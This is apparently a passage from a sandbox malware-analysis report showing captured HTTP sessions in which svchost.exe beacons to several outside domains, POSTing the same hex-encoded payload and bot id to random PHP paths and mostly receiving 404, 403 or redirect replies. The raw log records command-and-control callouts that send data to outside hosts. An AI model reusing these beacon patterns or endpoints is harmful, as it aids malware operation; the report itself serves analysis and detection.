                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: gracilarias.org
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.521872997 CET6014OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.521950960 CET6014OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.986686945 CET6016INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                    Server: Web Server
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:35:51 GMT
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=UTF-8
                                                                                                                                                                                                                                                                                                    Transfer-Encoding: chunked
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Vary: Accept-Encoding
                                                                                                                                                                                                                                                                                                    Set-Cookie: qtrans_front_language=es; expires=Wed, 23-Mar-2022 10:35:51 GMT; Max-Age=31536000; path=/
                                                                                                                                                                                                                                                                                                    Expires: Wed, 11 Jan 1984 05:00:00 GMT
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache, must-revalidate, max-age=0
                                                                                                                                                                                                                                                                                                    Link: <https://gracilarias.org/wp-json/>; rel="https://api.w.org/"
                                                                                                                                                                                                                                                                                                    Data Raw: 61 61 61 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 73 22 20 69 64 3d 22 68 74 6d 6c 22 20 70 72 65 66 69 78 3d 22 6f 67 3a 20 68 74 74 70 73 3a 2f 2f 6f 67 70 2e 6d 65 2f 6e 73 23 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 72 61 63 69 6c 61 72 69 61 73 2e 6f 72 67 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 3c 73 63 72 69 70 74 20 73 72 63 3d 22 68 74 74 70 3a 2f 2f 67 72 61 63 69 6c 61 72 69 61 73 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 6f 6e 69 63 2f 6c 69 62 72 61 72 79 2f 6a 73 2f 68 74 6d 6c 35 2e 6a 73 22 3e 3c 2f 73 63 72 69 70 74 3e 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 0a 3c 21 2d 2d 20 4f 70 74 69 6d 69 7a 61 63 69 c3 b3 6e 20 70 61 72 61 20 6d 6f 74 6f 72 65 73 20 64 65 20 62 c3 ba 73 71 75 65 64 61 20 64 65 20 52 61 6e 6b 20 4d 61 74 68 20 2d 20 68 74 74 70 73 3a 2f 2f 73 2e 72 61 6e 6b 6d 61 74 68 2e 63 6f 6d 2f 68 6f 6d 65 20 2d 2d 3e 0a 3c 74 69 74 6c 65 3e 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 47 72 61 63 69 6c 61 72 69 61 73 20 64 65 20 50 61 6e 61 6d c3 a1 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 66 6f 6c 6c 6f 77 2c 20 6e 6f 69 6e 64 65 78 22 2f 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 6c 6f 63 61 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 65 73 5f 45 53 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 61 72 74 69 63 6c 65 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 47 72 61 63 69 6c 61 72 69 61 73 20 64 65 20 50 61 6e 61 6d c3 a1 22 3e 0a 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 47 72 61 63 69 6c 61 72 69 61 73 20 64 65 20 50 61 6e 61 6d c3 a1 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 63 61 72 64 22 20 63 6f 6e 74 65 6e 74
                                                                                                                                                                                                                                                                                                    Data Ascii: aaa5<!DOCTYPE html><html lang="es" id="html" prefix="og: https://ogp.me/ns#"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0"><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="http://gracilarias.org/xmlrpc.php" />...[if IE]><script src="http://gracilarias.org/wp-content/themes/tonic/library/js/html5.js"></script><![endif]-->... Optimizacin para motores de bsqueda de Rank Math - https://s.rankmath.com/home --><title>Page Not Found - Gracilarias de Panam</title><meta name="robots" content="follow, noindex"/><meta property="og:locale" content="es_ES"><meta property="og:type" content="article"><meta property="og:title" content="Page Not Found - Gracilarias de Panam"><meta property="og:site_name" content="Gracilarias de Panam"><meta name="twitter:card" content
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.986773014 CET6017INData Raw: 3d 22 73 75 6d 6d 61 72 79 5f 6c 61 72 67 65 5f 69 6d 61 67 65 22 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 74 77 69 74 74 65 72 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 50 61 67 65 20 4e 6f 74 20 46 6f 75 6e 64 20 2d 20 47 72 61 63 69
                                                                                                                                                                                                                                                                                                    Data Ascii: ="summary_large_image"><meta name="twitter:title" content="Page Not Found - Gracilarias de Panam"><script type="application/ld+json" class="rank-math-schema">{"@context":"https://schema.org","@graph":[{"@type":"Person","@id":"https://graci
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.986819029 CET6018INData Raw: 20 3d 20 7b 22 62 61 73 65 55 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 73 2e 77 2e 6f 72 67 5c 2f 69 6d 61 67 65 73 5c 2f 63 6f 72 65 5c 2f 65 6d 6f 6a 69 5c 2f 31 33 2e 30 2e 31 5c 2f 37 32 78 37 32 5c 2f 22 2c 22 65 78 74 22 3a 22 2e 70 6e
                                                                                                                                                                                                                                                                                                    Data Ascii: = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/72x72\/","ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/13.0.1\/svg\/","svgExt":".svg","source":{"concatemoji":"http:\/\/gracilarias.org\/wp-includes\/js\/wp-emoji-
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.986876965 CET6020INData Raw: 2c 35 36 34 32 34 2c 38 32 30 33 2c 35 35 33 35 36 2c 35 37 32 31 32 5d 29 7d 72 65 74 75 72 6e 21 31 7d 28 6f 5b 72 5d 29 2c 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68 69 6e 67 3d 74 2e 73 75 70 70 6f 72 74 73 2e 65 76 65 72 79 74 68
                                                                                                                                                                                                                                                                                                    Data Ascii: ,56424,8203,55356,57212])}return!1}(o[r]),t.supports.everything=t.supports.everything&&t.supports[o[r]],"flag"!==o[r]&&(t.supports.everythingExceptFlag=t.supports.everythingExceptFlag&&t.supports[o[r]]);t.supports.everythingExceptFlag=t.suppor
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.986918926 CET6021INData Raw: 73 2f 77 70 2d 69 6d 61 67 65 2d 63 61 72 6f 75 73 65 6c 2f 63 73 73 2f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 35 2e 36 2e 32 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69 61 3d 27 61 6c 6c 27 20 2f 3e 0a 3c 6c 69 6e 6b 20
                                                                                                                                                                                                                                                                                                    Data Ascii: s/wp-image-carousel/css/style.css?ver=5.6.2' type='text/css' media='all' /><link rel='stylesheet' id='wp-block-library-css' href='http://gracilarias.org/wp-includes/css/dist/block-library/style.min.css?ver=5.6.2' type='text/css' media='all'
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.986957073 CET6022INData Raw: 73 74 79 6c 65 2d 63 73 73 27 20 20 68 72 65 66 3d 27 68 74 74 70 3a 2f 2f 67 72 61 63 69 6c 61 72 69 61 73 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 68 65 61 64 65 72 2d 66 6f 6f 74 65 72 2d 65 6c 65 6d 65 6e 74 6f
                                                                                                                                                                                                                                                                                                    Data Ascii: style-css' href='http://gracilarias.org/wp-content/plugins/header-footer-elementor/assets/css/header-footer-elementor.css?ver=1.5.6' type='text/css' media='all' /><link rel='stylesheet' id='elementor-icons-css' href='http://gracilarias.org/
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.987004995 CET6024INData Raw: 2f 67 72 61 63 69 6c 61 72 69 61 73 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 74 68 65 6d 65 73 2f 74 6f 6e 69 63 2f 73 74 79 6c 65 2e 63 73 73 3f 76 65 72 3d 35 2e 36 2e 32 27 20 74 79 70 65 3d 27 74 65 78 74 2f 63 73 73 27 20 6d 65 64 69
                                                                                                                                                                                                                                                                                                    Data Ascii: /gracilarias.org/wp-content/themes/tonic/style.css?ver=5.6.2' type='text/css' media='all' /><link rel='stylesheet' id='google_fonts-css' href='//fonts.googleapis.com/css?family=PT+Sans|Lato:300,400|Lobster|Quicksand' type='text/css' media='a
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.987047911 CET6025INData Raw: 3c 2f 73 63 72 69 70 74 3e 0a 3c 73 63 72 69 70 74 20 74 79 70 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 67 72 61 63 69 6c 61 72 69 61 73 2e 6f 72 67 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a
                                                                                                                                                                                                                                                                                                    Data Ascii: </script><script type='text/javascript' src='http://gracilarias.org/wp-includes/js/dist/vendor/wp-polyfill.min.js?ver=7.4.4' id='wp-polyfill-js'></script><script type='text/javascript' id='wp-polyfill-js-after'>( 'fetch' in window ) || docu
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.987086058 CET6027INData Raw: 65 3d 27 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 67 72 61 63 69 6c 61 72 69 61 73 2e 6f 72 67 2f 77 70 2d 63 6f 6e 74 65 6e 74 2f 70 6c 75 67 69 6e 73 2f 61 64 76 61 6e 63 65 64 2d 72 65 73 70 6f 6e
                                                                                                                                                                                                                                                                                                    Data Ascii: e='text/javascript' src='http://gracilarias.org/wp-content/plugins/advanced-responsive-video-embedder/build/main.js?ver=93831b05717710cd7302ad097b6e5775' id='arve-main-js'></script><script type='text/javascript' src='http://gracilarias.org/wp
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:51.987124920 CET6028INData Raw: 6a 61 76 61 73 63 72 69 70 74 27 20 73 72 63 3d 27 68 74 74 70 3a 2f 2f 67 72 61 63 69 6c 61 72 69 61 73 2e 6f 72 67 2f 77 70 2d 69 6e 63 6c 75 64 65 73 2f 6a 73 2f 6a 71 75 65 72 79 2f 75 69 2f 63 6f 6e 74 72 6f 6c 67 72 6f 75 70 2e 6d 69 6e 2e
                                                                                                                                                                                                                                                                                                    Data Ascii: javascript' src='http://gracilarias.org/wp-includes/js/jquery/ui/controlgroup.min.js?ver=1.12.1' id='jquery-ui-controlgroup-js'></script><script type='text/javascript' src='http://gracilarias.org/wp-includes/js/jquery/ui/checkboxradio.min.js?
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:52.081491947 CET6029INData Raw: 41 6e 61 6c 79 74 69 63 73 4f 62 6a 65 63 74 27 5d 3d 72 3b 69 5b 72 5d 3d 69 5b 72 5d 7c 7c 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 09 09 09 28 69 5b 72 5d 2e 71 3d 69 5b 72 5d 2e 71 7c 7c 5b 5d 29 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 7d
                                                                                                                                                                                                                                                                                                    Data Ascii: AnalyticsObject']=r;i[r]=i[r]||function(){(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)})(window,document,'script','htt


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    6192.168.2.34975478.153.216.1580C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.521111012 CET6062OUTPOST /QtVACJ.php?z=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: liftingandtransport.ie
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.521280050 CET6062OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.521409035 CET6062OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:53.588685036 CET6063INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:35:53 GMT
                                                                                                                                                                                                                                                                                                    Server: Apache
                                                                                                                                                                                                                                                                                                    X-SERVER: 3103
                                                                                                                                                                                                                                                                                                    Content-Length: 327
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 51 74 56 41 43 4a 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /QtVACJ.php was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    7192.168.2.349755178.254.0.18980C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.467664003 CET6064OUTPOST /MKLOSB.php?l=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: hausessen.com
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.467804909 CET6065OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.467885017 CET6065OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:54.486232042 CET6065INHTTP/1.1 302 Found
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:35:54 GMT
                                                                                                                                                                                                                                                                                                    Server: Apache
                                                                                                                                                                                                                                                                                                    Location: https://www.facebook.com/Hausessen?l=xl59elj25q8m
                                                                                                                                                                                                                                                                                                    Content-Length: 233
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 48 61 75 73 65 73 73 65 6e 3f 6c 3d 78 6c 35 39 65 6c 6a 32 35 71 38 6d 22 3e 68 65 72 65 3c 2f 61 3e 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>302 Found</title></head><body><h1>Found</h1><p>The document has moved <a href="https://www.facebook.com/Hausessen?l=xl59elj25q8m">here</a>.</p></body></html>


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    8192.168.2.349757149.210.208.20080C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.364696980 CET6074OUTPOST /VLI5TZ.php?d=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: lvfrance.fr
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.364886045 CET6074OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.364984035 CET6074OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.402520895 CET6075INHTTP/1.1 404 Not Found
                                                                                                                                                                                                                                                                                                    Server: nginx
                                                                                                                                                                                                                                                                                                    Date: Tue, 23 Mar 2021 10:35:56 GMT
                                                                                                                                                                                                                                                                                                    Content-Type: text/html; charset=iso-8859-1
                                                                                                                                                                                                                                                                                                    Content-Length: 208
                                                                                                                                                                                                                                                                                                    Connection: close
                                                                                                                                                                                                                                                                                                    Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 56 4c 49 35 54 5a 2e 70 68 70 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a
                                                                                                                                                                                                                                                                                                    Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL /VLI5TZ.php was not found on this server.</p></body></html>


                                                                                                                                                                                                                                                                                                    Session IDSource IPSource PortDestination IPDestination PortProcess
                                                                                                                                                                                                                                                                                                    9192.168.2.34975864.190.62.11180C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                                                                                                                                                    TimestampkBytes transferredDirectionData
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.648390055 CET6076OUTPOST /_LTi6U.php?z=xl59elj25q8m HTTP/1.1
                                                                                                                                                                                                                                                                                                    Accept: */*
                                                                                                                                                                                                                                                                                                    Content-Type: application/x-www-form-urlencoded
                                                                                                                                                                                                                                                                                                    Content-Length: 139
                                                                                                                                                                                                                                                                                                    User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)
                                                                                                                                                                                                                                                                                                    Host: gamehub.in
                                                                                                                                                                                                                                                                                                    Connection: Close
                                                                                                                                                                                                                                                                                                    Cache-Control: no-cache
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.648751020 CET6076OUTData Raw: 6d 3d 33 33 36 65 36 32 37 36 33 35 33 30 36 32 36 34 36 66 36 61 36 33 33 33 36 37 33 33 33 64 62 66 38 62 64 38 62 39 61 35 66 35 34 39 32 32 33 62 64 62 34 38 39 64 66 61 38 63 66 38 39 62 63 31 31 62 34 37 30 39 35 32 39 31 37 39 34 65 32 36
                                                                                                                                                                                                                                                                                                    Data Ascii: m=336e6276353062646f6a633367333dbf8bd8b9a5f549223bdb489dfa8cf89bc11b47095291794e26da8b90b214e863530f84472ae58e44cb6c350877d00191
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.648966074 CET6076OUTData Raw: 65 35 62 33 35 62 66 38 36 36 66
                                                                                                                                                                                                                                                                                                    Data Ascii: e5b35bf866f
                                                                                                                                                                                                                                                                                                    Mar 23, 2021 11:35:56.673443079 CET6077INHTTP/1.1 403 Forbidden
                                                                                                                                                                                                                                                                                                    date: Tue, 23 Mar 2021 10:35:56 GMT
                                                                                                                                                                                                                                                                                                    content-type: text/html
                                                                                                                                                                                                                                                                                                    content-length: 552
                                                                                                                                                                                                                                                                                                    vary: Accept-Encoding
                                                                                                                                                                                                                                                                                                    server: NginX
                                                                                                                                                                                                                                                                                                    connection: close
